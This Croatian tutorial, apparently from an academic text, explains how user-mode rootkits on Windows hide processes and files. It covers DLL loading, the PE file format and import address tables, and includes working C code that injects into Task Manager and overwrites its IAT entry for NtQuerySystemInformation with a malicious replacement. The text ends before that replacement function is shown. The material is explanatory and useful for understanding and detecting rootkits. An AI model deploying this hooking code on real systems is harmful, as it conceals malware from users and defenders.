Rootkiti u korisničkom načinu rada - općenito o DLL bibliotekama i korištenje IAT metode

U ulozi napadača uočljivo je da mehanizam Windows kuka može biti vrlo koristan pri otkrivanju stvaranja novog prozora i nove aplikacije. Ipak, taj nam mehanizam nije riješio problem skrivanja procesa i direktorija/datoteka u sustavu. Pristup korišten u programu Naive nije se pokazao zadovoljavajućim pa je potrebno osmisliti neki drugi pristup.

U operacijskom sustavu Linux prvi alati za prikrivanje prisutnosti napadača funkcionirali su tako da su ispravne verzije programa za ispis procesa, direktorija i drugih važnih informacija mijenjali modificiranim verzijama koje nisu prikazivale autorove zloćudne programe. Na operacijskom sustavu Linux takav je postupak znatno lakši nego u operacijskom sustavu Windows jer je veličina programa manja, a i sama zamjena je "bezbolna", tj. svodi se na kopiranje novih verzija na mjestu starih. U Windows operacijskom sustavu je postupak nešto složeniji (u oba operacijska sustava potrebno je imati administratorske privilegije, što je još jedan "nedostatak" ovog pristupa), izvršne verzije programa su znatno veće, a programe je teže zamijeniti ili izmijeniti (zamjena uvijek obuhvaća uređivanje sustavskog registra, dok je primjerice izmjenu Windows Explorera još složenije izvesti neopaženo) i to je osnovni razlog zašto niti jedan alat za prikrivanje prisutnosti napadača ne mijenja izvršne verzije ključnih Windows aplikacija.

Sasvim je jasno da sve Windows aplikacije, poput Task Manager-a i Windows Explorera od nekuda crpe svoje informacije, tj. koriste odgovarajuće funkcije u svrhu prikupljanja primjerice liste procesa ili liste datoteka i direktorija na disku. Ako se te funkcije na određeni način zamijene vlastitim, "zloćudnim" verzijama, postiže se potpuna kontrola nad aplikacijom jer se na taj način iz liste procesa mogu "izbaciti" željeni procesi, odnosno može se spriječiti prikazivanje direktorija i datoteka za koje napadač ne želi da ih korisnik vidi. Prvi korak napadača u tom pristupu je određivanje funkcija koje aplikacije koriste kako bi prikupile odgovarajuće informacije.

Arhitektura Windows operacijskog sustava organizirana je tako da sve korisničke aplikacije sa sustavom, odnosno jezgrom, komuniciraju pozivajući API funkcije koje pružaju DLL biblioteke s kojima se aplikacije povezuju ili već za vrijeme prevođenja – tzv. implicitno povezivanje ili za vrijeme svog rada – eksplicitno povezivanje. Najvažnije DLL biblioteke u Windows operacijskom sustavu sa stajališta "običnih" korisničkih aplikacija su kernel32.dll, User32.dll i GDI.dll. kernel32.dll biblioteka sadržava sve API funkcije zadužene za manipulaciju procesima, dretvama i memorijom, User32.dll biblioteka sadržava funkcije za rad s prozorima, slanje poruka između prozora i ostale funkcije vezane za korisničko sučelje, dok GDI.dll biblioteka sadržava funkcije vezane za iscrtavanje teksta i raznih grafičkih elemenata. To nipošto nisu jedine DLL biblioteke u operacijskom sustavu, postoji još čitav niz (ugrađenih) DLL biblioteka koje sadržavaju funkcije za interakciju s mrežnim podsustavom, za interakciju i upravljanje vanjskih uređaja, funkcije za manipulaciju sigurnosnim elementima sustava, za uređivanje sustavskog registra i mnoge druge zadaće u sustavu. Svaka aplikacija također može posjedovati svoje privatne DLL biblioteke koje je stvorio sam autor aplikacije.

Interakcija pojedinih elemenata sustava prikazana je na slici temeljenoj na [20M. Russinovich, D. Solomon, Microsoft Windows Internals, Fourth Edition, Microsoft Press, Washington, 2004.].

Arhitektura operacijskog sustava Windows

Osim korisničkih aplikacija, na slici je vidljivo da u korisničkom načinu rada djeluju i pomoćni sustavski procesi i Windows servisi ovisno o različitim podsustavima. U pomoćne sustavske procese ubrajamo primjerice Service Control Manager (scm.exe) koji je zadužen za upravljanje Windows servisima, Local Security Authority Subsystem Service (LSASS.exe) koji je zadužen za provođenje sigurnosne politike na sustavu, pridružuje korisnicima dozvole, provjerava dozvole i rukuje lozinkama, WinLogon (winlogon.exe) koji je zadužen za prijavu korisnika na sustav, odjavljivanje korisnika, reagiranje na posebne sekvence (ctrl + alt + delete) i Session Manager koji je zadužen za inicijalizaciju kompletnog sustava i pokretanje odgovarajućeg podsustava. Windows servisi su ekvivalent daemon-ima u operacijskom sustavu Linux, a predstavljaju proces-poslužitelj koji obavlja neki posao. Ključni servis u operacijskom sustavu Windows je svchost.exe koji predstavlja samo generičko ime za mnogobrojne servise poput kriptografskih servisa, mrežnih servisa i brojnih drugih. Osim (uobičajenog) Windows podsustava, Windows operacijski sustav nudi podršku i za POSIX kompatibilni podsustav, tako da se (teoretski) aplikacije pisane za POSIX – kompatibilan sustav kakav je primjerice Linux operacijski sustav, mogu prevesti i izvoditi na Windows operacijskom sustavu. Do verzije Windows 2000. postojao je i OS/2 podsustav koji je izbačen i za koji ne postoji podrška. U Windows XP operacijskom sustavu ne postoji više ni POSIX podsustav, iako se on može vrlo jednostavno "ugraditi" preuzimanjem Windows Services for UNIX paketa. Arhitektura Windows operacijskog sustava vrlo je složena i njen opis je izvan dosega ovog rada, no zainteresirani mogu saznati sve o Windows operacijskom sustavu iz [20M. Russinovich, D. Solomon, Microsoft Windows Internals, Fourth Edition, Microsoft Press, Washington, 2004.].

API funkcije sadržane su u DLL bibliotekama podsustava na gornjoj slici. Iz slike je vidljivo da se sva komunikacija između korisničke razine i razine jezgre obavlja preko biblioteke ntdll.dll. Ta biblioteka je ključna za funkcioniranje operacijskog sustava, a sadržava uglavnom funkcije koje su vrlo kratke i koje služe za prijelaz iz korisničkog načina rada u jezgrin način rada, prenoseći parametre korisničkih funkcija jezgri na odgovarajući način. Ntdll.dll biblioteka sadržava i neke interne funkcije koje koriste ostale DLL biblioteke. Velika većina funkcija iz ntdll.dll biblioteke nije dokumentirana u službenoj dokumentaciji i Microsoft ne preporuča korištenje funkcija iz te biblioteke (udaljavajući time korisnike od zanimljivog i korisnog dijela operacijskog sustava koji bi se mogao iskoristiti na brojne načine) jer se između različitih verzija Windows operacijskog sustava te funkcije mijenjaju, dok se API funkcije u "gornjim slojevima" ne mijenjaju i time sučelje prema internim strukturama operacijskog sustava ostaje netaknuto.

Imajući na umu gornju sliku, napadač s velikom vjerojatnošću može pretpostaviti da aplikacije poput Windows Explorer-a i Task Manager-a koriste API funkcije kako bi dobile odgovarajuće informacije. Brojnim programima moguće je otkriti s kojim su DLL bibliotekama određene aplikacije povezane, tj. koje konkretne funkcije te aplikacije koriste odnosno uvoze (engl. import) iz tih biblioteka. Primjer takvog programa je besplatan program Dependency Walker [6aS. P. Miller, Dependency Walker]. Korištenjem programa Dependency Walker napadač može vrlo jednostavno pronaći "interesantne" funkcije:

Dependency Walker i funkcije Windows Explorera

Iz slike lijevo vidljivo je da jednostavnom pretragom funkcija napadač može pronaći one koje, primjerice, Windows Explorer koristi za dohvat i pregled datoteka i direktorija: radi se o funkcijama FindFirstFileW() i FindNextFileW() koje explorer.exe uvozi iz kernel32.dll biblioteke.

U slučaju Windows Explorer aplikacije bilo je jednostavno otkriti funkcije koje su zadužene za dohvat datoteka i direktorija jer su u samim imenom otkrivale svoju namjenu, no ponekad nije jednostavno otkriti koja je funkcija zadužena za odgovarajući posao.

Najbolji primjer za to je upravo aplikacija Task Manger i pripadna lista procesa.

Koristeći se Dependency Walker-om, nemoguće je otkriti koja je funkcija zadužena za prebrajanje i dohvat liste trenutno aktivnih procesa. Ako bi se napadač koristio istom "tehnikom" kao i za slučaj dohvata datoteka i direktorija, tražio bi funkcije koje u svojem imenu sadržavaju riječ process. Task Manager koristi mnogo takvih funkcija, no sve su dokumentirane i pregledom dokumentacije može se ustanoviti da niti jedna od tih funkcija nije zadužena za dohvat liste aktivnih procesa. Osnovne funkcije za prebrojavanje i dohvat procesa su Process32Next() i Process32First() koje izvozi (engl. exports) kernel32.dll biblioteka, no te se funkcije u Task Manager aplikaciji uopće ne koriste.

Jedna od mogućnosti je da je funkcija nedokumentirana i da ju izvozi ntdll.dll biblioteka. Pregledom dokumentacije ipak se mogu naći neke rijetke dokumentirane (zapravo poludokumentirane) funkcije iz ntdll.dll datoteke, a Task Manager aplikacija koristi upravo jednu od njih – NtQuerySystemInformation(). MSDN dokumentacija za dotičnu funkciju daje sljedeću deklaraciju:

NTSTATUS NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

Prvi parametar funkcije je struktura koja specificira koja vrsta informacije se želi dohvatiti, drugi parametar je pokazivač koji pokazuje na dohvaćenu informaciju, treći parametar je duljina spremnika u koji se sprema informacija, a zadnji parametar predstavlja stvarnu duljinu dohvaćene informacije. U slučaju kada je prvi parametar SYSTEM_PROCESS_INFORMATION (numerički definiran kao broj 5), funkcija dohvaća listu procesa na sustavu koja sadržava veliku količinu informacija o pojedinom procesu (mnogo više informacija nego ostale funkcije specijalizirane za rad s procesima). Struktura podataka koja se vraća je jednostruko povezana lista realizirana poljem koja u MSDN dokumentaciji nije precizno definirana (mnogo elemenata te strukture označeno je kao rezervirano za operacijski sustav), no značenje pojedinih elemenata može se doznati korištenjem odgovarajućih debuggera. Na stranici [21S. B. Schreiber, Interfacing the Native API in Windows 2000, InformIT, srpanj 2001.] dotična struktura definirana je mnogo preciznije.

Sama funkcija u ntdll.dll biblioteci, otvorena u besplatnom Immunity Debugger-u [7aImmunity Inc, Immunity Debugger] prikazana je na slici desno:

Kod funkcije NtQuerySystemInformation

Kao i većina funkcija u ntdll.dll biblioteci, kôd funkcije je vrlo kratak jer predstavlja samo prijelaz iz korisničkog načina rada u jezgreni – sama funkcija nalazi se u jezgri (u ovom slučaju, to je funkcija pod imenom ZwQuerySystemInformation()) i iz jezgre se dohvaćaju pravi podaci. Različite metode prijelaza iz jednog u drugi način rada, kao i o strukture sistemskih poziva izvan su dosega ovog rada, no radi se u suštini o stavljanju odgovarajućeg parametra u registar EAX i izvođenjem SYSENTER instrukcije (u operacijskom sustavu Windows XP i kasnijim verzijama, SYSENTER instrukcija je u funkciji na adresi 0x7FFE0300) ili izazivanjem prekida (Windows 2000 i raniji).

Nakon što su pronađene funkcije, potrebno je na neki način te funkcije zamijeniti "zloćudnim", vlastitim verzijama, pazeći pritom da sama aplikacija koja te funkcije koristi i dalje funkcionira normalno.

Jedna od mogućnosti zamjene je zamjena samih DLL biblioteka novim, zloćudnim verzijama. Iako npr. u kernel32.dll datoteci ima mnoštvo funkcija koje se koriste, a napadač želi "oteti" samo jednu, moguće je napraviti novu DLL datoteku imena kernel32.dll, staru preimenovati primjerice u kernel22.dll i sve funkcije koje se ne žele promijeniti proslijediti (engl. forward) iz kernel32.dll (nove) u kernel22.dll mehanizmom koji omogućuje sam Microsoft. Međutim, ova metoda je za napadača vrlo nepoželjna jer osim što su za zamjenu DLL biblioteka u Windows\system32 direktoriju potrebne administratorske dozvole, povećani broj DLL datoteka i svojstva novih DLL datoteka (datum nastanka, autor DLL datoteke i slične informacije uključene u samu datoteku) kod sumnjičavog korisnika mogu pobuditi sumnju. Najveći problem ove vrste otimanja funkcija (kako će u daljnjem tekstu biti označen postupak zamjene uobičajene API funkcije napadačevom verzijom) je činjenica da se zamjena mora obaviti prije nego bilo koji program počne koristiti tu biblioteku. Budući da kernel32.dll biblioteku koriste gotovo sve aplikacije u operacijskom sustavu Windows, jasno je da se ta zamjena mora obaviti vrlo rano, pri samom podizanju sustava, što uključuje uređivanje sustavskog registra (za to su također potrebne adminstratorske privilegije) i podložno je otkrivanju.

Druga mogućnost zamjene također obuhvaća nove verzije DLL biblioteka, no ovdje se stare (ugrađene) verzije ne mijenjaju i nije potrebno uređivati sustavski registar. Svaka aplikacija pri svom pokretanju traži potrebne joj DLL biblioteke u unaprijed određenom poretku. Najprije se u sustavskom registru pregledavaju vrijednosti ključa HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs i ako postoji vrijednost s imenom DLL biblioteke koja se trenutno traži, postupak traženja završava i DLL biblioteka je pronađena. U ovom ključu navedene su najvažnije DLL biblioteke poput kernel32.dll, user32.dll, gdi32.dll i druge. Ako DLL datoteka nije pronađena, pretraga se dalje odvija ovim redosljedom (prema MSDN dokumentaciji):

Kako bi ovaj mehanizam učinio donekle fleksibilnijim, Microsoft je razvio preusmjeravanje (engl. redirection). Mehanizam preusmjeravanja specificira da je moguće da aplikacija koristi "lokalne" verzije DLL datoteka koje se nalaze primjerice u sistemskom direktoriju (npr. crypt32.dll biblioteka kriptografskih funkcija) pri čemu je ime same DLL datoteke isto. Primjerice, u direktoriju aplikacije može se nalaziti biblioteka imena crypt32.dll i aplikacija će, uz omogućavanje mehanizma preusmjeravanja, koristiti funkcije iz te biblioteke, a ne funkcije iz biblioteke crypt32.dll koja se nalazi u sistemskom direktoriju. Da bi mehanizam ispravno funkcionirao, mora se definirati tzv. dot-local datoteka kao obična prazna datoteka s nastavkom .local koja ima isto ime kao i aplikacija (npr. aplikacija.exe.local). Osim dot-local datoteka, druga metoda je napraviti posebnu manifest datoteku. Manifest datoteka ima istu konvenciju imenovanja kao i dot-local datoteke (npr. aplikacija.exe.manifest), no datoteka nije prazna, već je posebno oblikovana XML datoteka (više detalja moguće je pronaći u pripadnoj dokumentaciji). Mehanizam dot-local datoteka prilično je star mehanizam i Microsoft ne dozvoljava da se njime preusmjeravaju "ključne" DLL biblioteke poput kernel32.dll. Teoretski, u dokumentaciji stoji da ni s manifest datotekama nije moguće postići preusmjeravanje ključnih biblioteka, no u praksi se pokazuje da to nije sasvim točno.

Napadač dakle mora u direktorij aplikacije postaviti vlastitu verziju DLL biblioteke uz odgovarajuću dot-local ili manifest datoteku. Uobičajeno to nije problem, no budući da se Task Manager nalazi u istom direktoriju gdje i ostale DLL biblioteke koje koristi (ntdll.dll, kernel32.dll...) i ova metoda u tom slučaju zahtijeva administratorske privilegije (budući da se radi o Windows direktoriju) i svodi se na prvu metodu.

Ipak, postoji metoda koja je potpuno neovisna o položaju DLL biblioteka, ne zahtijeva njihovo premještanje, niti administratorske privilegije, a mnogo je moćnija i fleksibilnija od metoda koje su dosad opisane. Ta metoda se oslanja na strukturu izvršne datoteke u operacijskom sustavu Windows na disku, ali i u memoriji.

Izvršne datoteke u Windows operacijskom sustavu, kao i DLL biblioteke imaju jedinstvenu strukturu i oblik poznat pod imenom Portable ExecutablePE format. Format datoteke vrlo je složen i obuhvaća brojna zaglavlja, polja i strukture koje su uglavnom dobro dokumentirane, iako postoje neke za koje dokumentacija nije dostupna. Zbog vrlo velike složenosti formata i velikog broja elemenata načinjena je pregledna shema svih struktura za koje postoji dokumentacija. Shema se nalazi na slici dolje, vrlo je velikih dimenzija i težine od 800 Kb.

Format izvršne datoteke u operacijskom sustavu Windows

Objašnjenje pojedinih elemenata i struktura ukratko je dano na samoj slici, a detaljnija objašnjenja mogu se pronaći u MSDN dokumentaciji (ukoliko se radi o dokumentiranim strukturama), kao i u izvrsnom tekstu Matta Pietreka [22 - part1M. Pietrek, An In-Depth Look into the Win32 Portable Executable File Format - part1, MSDN Magazine, veljača 2002. i 22 - partM. Pietrek, An In-Depth Look into the Win32 Portable Executable File Format - part2, MSDN Magazine, veljača 2002.2]. Detalji pojedinih elemenata značajno premašuju opseg ovog rada, pa će se naglasiti samo elementi i strukture koji su ključni za ono što se želi postići (sakriti proces, odnosno datoteku/direktorij od korisnika).

PE format ima vrlo važno svojstvo da datoteka na disku (izvršna – exe ili DLL biblioteka) ima jednak oblik kao i datoteka koju je Windows punitelj (engl. loader) učitao u memoriju, raspored struktura, pojedinih zaglavlja i odjeljaka je identičan, osim što su adrese, naravno, različite. Ovo svojstvo znatno olakšava obradu PE formata jer se ona u oba slučaja, i za datoteke na disku i za one učitane u memoriju, svodi na istovrsne postupke.

U našim razmatranjima ključne su funkcije NtQuerySystemInformation() i FindFirst/NextFile() koje aplikacije uvoze iz odgovarajućih DLL biblioteka. U trenutku učitavanja npr. Task Manager aplikacije u memoriju, ntdll.dll biblioteka je već prethodno učitana u memoriju jer ju koriste brojne druge aplikacije. U kôdu Task Manager aplikacije postoji poziv funkcije NtQuerySystemInformation(), no u trenutku učitavanja aplikacije adresa te funkcije nije poznata budući da se ona nalazi u DLL datoteci. Isto je i s ostalim funkcijama koje aplikacija uvozi iz ostalih DLL datoteka, a takvih je funkcija u uobičajenim Windows aplikacijama vrlo mnogo. Kako aplikacija ipak uspijeva pozvati "ispravnu" funkciju?

Windows punitelj ima zadaću "ispraviti" sve adrese u kôdu aplikacije koje se odnose na funkcije iz DLL biblioteka. Budući da takvih funkcija ima mnogo, a prolaženje kroz sam kôd bio bi težak i relativno dugotrajan postupak (pokrenuta aplikacija se gotovo trenutno mora učitati u memoriju i započeti sa svojim izvršavanjem), svi pozivi DLL funkcija u kôdu aplikacije nisu zapravo izravni pozivi funkcija već (najčešće) bezuvjetni skokovi (pozivi funkcija) na posebni dio u adresnom prostoru aplikacije. Dotični posebni dio naziva se IAT – Import Address Tabletablica uvoznih adresa koja je na gornjoj slici prikazana crnom bojom (nalazi se u DataDirectory[1]). Osim tablice uvoznih adresa, paralelno postoji i INT – Import Name Table – tablica uvoza po imenu koja, između ostalog, sadrži ime uvezene funkcije. Windows punitelj prilikom učitavanja aplikacije najprije pronalazi DataDirectory[1] strukturu koja sadržava sve informacije o unosu. Ta struktura pokazuje na polje IMAGE_IMPORT_DESCRIPTOR struktura, pri čemu svaka struktura označava jednu DLL datoteku iz koje se uvoze pojedine funkcije. Punitelj provjerava da li je DLL biblioteka određena IMAGE_IMPORT_DESCRIPTOR strukturom već učitana u memoriju i ako nije, vrši učitavanje (isti postupak koji se ovdje opisuje). Nakon što je DLL biblioteka učitana u memoriju, punitelj pronalazi tablicu uvoznih adresa (polje IMAGE_THUNK_DATA struktura, po jedna struktura za svaku funkciju koja se uvozi, na koje pokazuje odgovarajuća IMAGE_IMPORT_DESCRIPTOR struktura) i na temelju informacija koje tamo pronalazi (da li se radi o proslijeđenoj funkciji, pri čemu punitelj mora ponoviti opisani postupak i pronaći stvarnu funkciju, na temelju imena funkcije – ako ime postoji – ili na temelju rednog broja funkcije, ako se koriste redni brojevi za uvoz) mijenja polje Function u stvarnu adresu uvezene funkcije. Kada Task Manager aplikacija poziva funkciju NtQuerySystemInformation(), zapravo se poziva adresa navedena u Function polju odgovarajuće IMAGE_THUNK_DATA strukture, a tu adresu je punitelj postavio na pravu adresu NtQuerySystemInformation() funkcije iz ntdll.dll datoteke.

poziv funkcije NtQuerySystemInformation u Task Manager aplikaciji

Na slici desno vidljivo je da se ne poziva direktno funkcija NtQuerySystemInformation() (iako Immunity Debugger prepoznaje ime funkcije koja se poziva), već se skače na adresu Function polja u IMAGE_THUNK_DATA strukturi.

Isto vrijedi i za gotovo bilo koju funkciju koja je uvezena iz DLL biblioteke. Poseban slučaj predstavljaju tzv. direktno povezane (engl. bound) DLL biblioteke. Očito je da bi pokretanje aplikacije bilo znatno brže kada bi adrese svih uvezenih funkcija unaprijed bile poznate jer punitelj ne bi morao trošiti dragocjene resurse kako bi popunio tablicu uvoznih adresa. Također, pri uređivanju tablice uvoznih adresa punitelj aktivira copy-on-write zaštitni mehanizam, obavlja se straničenje tog dijela PE datoteke, obavljaju se izmjene i zapisuju u memorijski prostor aplikacije (sama tablica uvoznih adresa označena je samo za čitanje, no punitelj tijekom pokretanja aplikacije kratkotrajno mijenja dozvole kako bi mogao obaviti svoju zadaću), što također predstavlja zauzeće resursa. Mehanizam direktnog povezivanja obavlja isti postupak kao i Windows punitelj prilikom pokretanja aplikacije, no sada su u trenutku pokretanja aplikacije adrese uvezenih funkcija već unesene i punitelj ih ne mora ažurirati čime se brzina pokretanja aplikacija i zauzeće resursa bitno smanjuje. Naravno, ako se adresa funkcije koju izvozi DLL, a uvozi aplikacija promijeni, pojavljuje se problem. No, punitelj to automatski prepoznaje i ispravlja pogrešne adrese. Direktno povezane DLL biblioteke u aplikaciji se od normalnih razlikuju i po tome što na njih pokazuje struktura DataDirectory[11] koja pokazuje na strukturu tipa IMAGE_BOUND_IMPORT_DESCRIPTOR. Punitelj uspoređuje isključivo sadržaj te strukture prema stvarnim adresama funkcija i ispravlja pogrešne adrese. Mehanizam je ovdje prikazan relativno neprecizno jer za daljnja razmatranja nije važan, već je samo spomenut kao dodatna mogućnost za smještaj adresa uvezenih funkcija.

Još jednu iznimku predstavljaju i DLL biblioteke s odgođenim uvozom funkcija (engl. delay-load DLL). Odgođeni uvoz je mehanizam uvoza funkcija koji ima elemenata eksplicitnog i implicitnog povezivanja DLL biblioteka. Mehanizam funkcionira tako da se uvoz funkcija ne obavlja sve dok se dotična funkcija ne pozove, a specificira se prilikom povezivanja kôda opcijom /DELAYLOAD. Tek u trenutku kada aplikacija želi pozvati takvu funkciju, biblioteka izvođenja (engl. runtime library) upisuje točnu adresu funkcije u odgovarajuću strukturu. U ovom postupku ne sudjeluje Windows punitelj, već samo biblioteka izvođenja. Također, adresa funkcije ne zapisuje se u tablicu uvoznih adresa, već u posebnu strukturu IMAGE_DELAY_IMPORT_DESCRIPTOR na koju pokazuje DataDirectory[13]. IMAGE_DELAY_IMPORT_DESCRIPTOR struktura pokazuje na IMAGE_THUNK_DATA strukture koje sadržavaju stvarne adrese uvezenih funkcija, kao i kod IMAGE_IMPORT_DESCRIPTOR struktura. Mehanizam odgođenog uvoza neće biti detaljnije objašnjen, a zainteresirani čitatelj više informacija može pronaći u MSDN dokumentaciji i u navedenom tekstu [22 - part1M. Pietrek, An In-Depth Look into the Win32 Portable Executable File Format - part1, MSDN Magazine, veljača 2002. i 22 - partM. Pietrek, An In-Depth Look into the Win32 Portable Executable File Format - part2, MSDN Magazine, veljača 2002.2].

Iz ovih razmatranja jasno je da, ukoliko želimo "oteti" funkciju NtQuerySystemInformation(), moramo pronaći odgovarajuću adresu u tablici uvoznih adresa i zamijeniti ju adresom naše "zloćudne" funkcije koja skriva proces. Naravno, kako bismo promijenili adresu funkcije, naš se kôd mora izvoditi u kontekstu Task Manager/Windows Explorer aplikacije. To ćemo, kao i do sada, postići ubacivanjem DLL biblioteke u adresni prostor procesa pomoću WH_CBT kuke. Postupak će biti opisan u programu IATMethod.

Veći dio kôda preuzet je iz programa Naive-improved i NaiveLogger i taj dio neće biti detaljnije objašnjavan, već samo onaj koji je specifičan za program IATMethod.

Nakon što se pokrene Task Manager aplikacija, aktivira se WH_CBT kuka koja pokreće proceduru HookProc(), koja pak pokreće osnovnu funkciju ovog programa – funkciju PretraziIat() koja se izvodi u kontekstu Task Manager aplikacije.

... //ako se radi o task manageru (u szTaskManDir je putanja do aplikacije) if(!lstrcmpi(szBuf, szTaskManDir)) { //ako je ovo prva aktivacija kuke, tj. Task Manager proces je tek pokrenut if(!flag) { //onda označi da je Task Manager pokrenut i pretraži njegovu uvoznu //tablicu flag = true; PretraziIAT("Ntdll.dll", "NtQuerySystemInformation", true); } }

Ključna funkcija ove metode je funkcija PretraziIat() koja ima sljedeći oblik:

BOOL PretraziIAT(char *hookedDLL, char *hookedFunc) { HMODULE hModule; //ručica na "modul" aplikacije PIMAGE_DOS_HEADER pDosHeader = NULL; //pokazivač na DOS zaglavlje PIMAGE_NT_HEADERS pNTHeader = NULL; //pokazivač na NT zaglavlje IMAGE_DATA_DIRECTORY importTable; //DataDirectory struktura PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL; //pokazivač na IMPORT_DESCRIPTOR //strukturu koja opisuje DLL iz //kojeg se uvozi PIMAGE_THUNK_DATA pIAT = NULL; //pokazivač na IMAGE_THUNK_DATA strukturu, tj. IAT PIMAGE_THUNK_DATA pINT = NULL; //IAT i INT su zapravo IMAGE_THUNK_DATA strukture, //no zapravo su to unije veličine pointera PIMAGE_IMPORT_BY_NAME pImport = NULL; //pokazivač na strukturu uvoza prema imenu DWORD i = 0; char *dllIme = NULL; //najprije dohvati modul kako bismo mogli parsirati njegovu strukturu hModule = GetModuleHandle(NULL); //početak modula je ujedno i početak DOS zaglavlja pDosHeader = (PIMAGE_DOS_HEADER) hModule; //dohvaćamo NT zaglavlje zbrajanjem početka modula i e_lfanew polja pNTHeader = (PIMAGE_NT_HEADERS) ((DWORD) pDosHeader + pDosHeader->e_lfanew); //ako potpis u NT zaglavlju nije jednak PE00 if(pNTHeader->Signature != IMAGE_NT_SIGNATURE) return FALSE; //očito nismo uspjeli dobro mapirati PE datoteku //dohvati odgovarajuću DataDirectory strukturu, to je DataDirectory[1] struktura unutar //Optional zaglavlja importTable = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; //moguće je da program nema import tablicu (npr. DLL moze imati samo EXPORT sekciju) if(importTable.VirtualAddress == 0) return FALSE; //dohvati odgovarajuću IMAGE_IMPORT_DESCRIPTOR strukturu (ukupan broj struktura jednak je //broju DLL-ova koji se uvoze) pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) ((DWORD) pDosHeader + importTable.VirtualAddress); //sve dok Characteristics polje nije jednako 0, znači da dotični deskriptor postoji, tj. //nismo došli do kraja polja while(pImportDescriptor[i].Characteristics != 0 /*&& pImportDescriptor[i].FirstThunk != 0 && pImportDescriptor[i].ForwarderChain != 0*/) //možda bi trebali sve ispitati... { //dohvati ime DLL-a (Name polje je zapravo relativna virtualna adresa - RVA na //string kojoj moramo dodati početak modula) dllIme = (char *) ((DWORD) pDosHeader + pImportDescriptor[i].Name); //dohvati adrese IAT i INT tablica pINT = (PIMAGE_THUNK_DATA) ((DWORD) pDosHeader + pImportDescriptor[i].OriginalFirstThunk); pIAT = (PIMAGE_THUNK_DATA) ((DWORD) pDosHeader + pImportDescriptor[i].FirstThunk); //prođi kroz sve zapise u IAT tablici, tj. prođi kroz sve funkcije koje se uvoze iz //dane DLL datoteke. Prolazimo sve dok adresa IMPORT_BY_NAME strukture nije 0, što //označava kraj IAT tablice for(; pINT->u1.AddressOfData != 0 && pINT->u1.Function != 0;pINT++, pIAT++) { //moramo najprije provjeriti koja je vrsta importa, da li preko broja ili //preko imena... Nas prije svega zanima unos preko imena. Ako najviši bit //trenutne Import Name tablice ima vrijednost 0, onda je import preko imena if(!(pINT->u1.Ordinal & 0x80000000)) { char buf[256]; //dohvati pokazivač na IMPORT_BY_NAME strukturu pImport = (PIMAGE_IMPORT_BY_NAME) ((DWORD) pDosHeader + pINT->u1.AddressOfData); //ako je ime funkcije jednako kao i funkcija koju želimo promijeniti //i DLL je odgovarajući if(strcmpi((char *)pImport->Name, hookedFunc) == 0 && strcmpi(dllIme, hookedDLL) == 0) { //osnovni problem s uvoznom tablicom je što je označena SAMO //ZA ČITANJE. Ipak, mi možemo promijeniti taj dio memorije u //adresnom prostoru procesa jer imamo dovoljne dozvole jer //se već nalazimo u adresnom prostoru procesa MEMORY_BASIC_INFORMATION IATmemPage; //dohvati informacije o memorijskom prostoru na koji //pokazuje pokazivač pIAT //efektivno doznajemo informacije o memorijskim stranicama u //kojima se nalazi IAT VirtualQuery(pIAT, &IATmemPage, sizeof(MEMORY_BASIC_INFORMATION)); //označi dotične stranice za CITANJE i PISANJE kako bismo //mogli provesti izmjene if(!VirtualProtect(IATmemPage.BaseAddress, IATmemPage.RegionSize, PAGE_READWRITE, &IATmemPage.Protect)) //ako ne uspiješ, izađi van, možda je potrebno //dojaviti neku pogrešku naravno, u napadačevoj //bi se aplikaciji pogreška zanemarila jer //aplikacija mora biti što tiša return FALSE; //dohvati staru vrijednost Function polja, tj. spremi //STVARNU adresu funkcije u odgovarajuću varijablu stariNTQSI = (NTQUERYSYSINFO) (DWORD_PTR) pIAT->u1.Function; //zapiši na tu poziciju novu vrijednost funkcije, funkcija //je upravo oteta:) pIAT->u1.Function = (ULONGLONG) (NTQUERYSYSINFO) noviNTQSI; DWORD tmp; //moramo natrag vratiti svojstva stranica na READ-ONLY if(!VirtualProtect(IATmemPage.BaseAddress, IATmemPage.RegionSize, IATmemPage.Protect, &tmp)) return FALSE; //obavili smo posao, pa možemo završiti s ovom funkcijom return true; } } } i++; } return false; }

Funkcija PretraziIat() relativno je složena i velika funkcija, no njena složenost proizlazi prije svega iz složenosti PE formata. Prateći sliku koja prikazuje PE format i analizirajući kôd, vidljivo je da funkcija prolazi kroz zaglavlja PE formata u potrazi za uvoznom tablicom. Nakon njenog lociranja mijenja dozvole memorijskih stranica u kojima se tablica nalazi (omogućava pisanje po tablici), zamjenjuje ispravnu adresu funkcije NtQuerySystemInformation() s adresom "zloćudne" funkcije i vraća dozvole na inicijalne postavke. Sam kôd funkcije vrlo je dobro komentiran i u komentarima su dana sva objašnjenja vezana uz kôd pa se on ovdje neće detaljnije objašnjavati.

Preostaje još jedino opisati zloćudnu verziju funkcije NtQuerySystemInformation() koja skriva odgovarajući proces.

Važno je napomenuti da sve funkcije koje se na ovaj način prepisuju u uvoznoj tablici moraju rukovati sa stogom na identičan nacin kao i originalne funkcije. Zbog toga je funkcija MojNtQuerySystemInformation() koja predstavlja zloćudnu verziju gore navedene funkcije označena kao naked, što znači da ne želimo da prevoditelj sam generira kôd za rad sa stogom (tzv. prolog i epilog) nego će se pohrana konteksta i povratak iz procedure obavljati "ručno", tj. prolog i epilog ćemo napisati upravo mi, pazeći da funkcija vjerno oponaša originalnu funkciju (ponašanje originalne funkcije moguće je najjednostavnije vidjeti pomoću debuggera).

Pisanje vlastite funkcije ovog tipa nije jednostavno i ovo je dosad zasigurno najsloženija opisana metoda, no za imalo iskusnog napadača problem je trivijalan.

Funkcija MojNtQuerySystemInformation() prikazana je na ispisu koji slijedi.

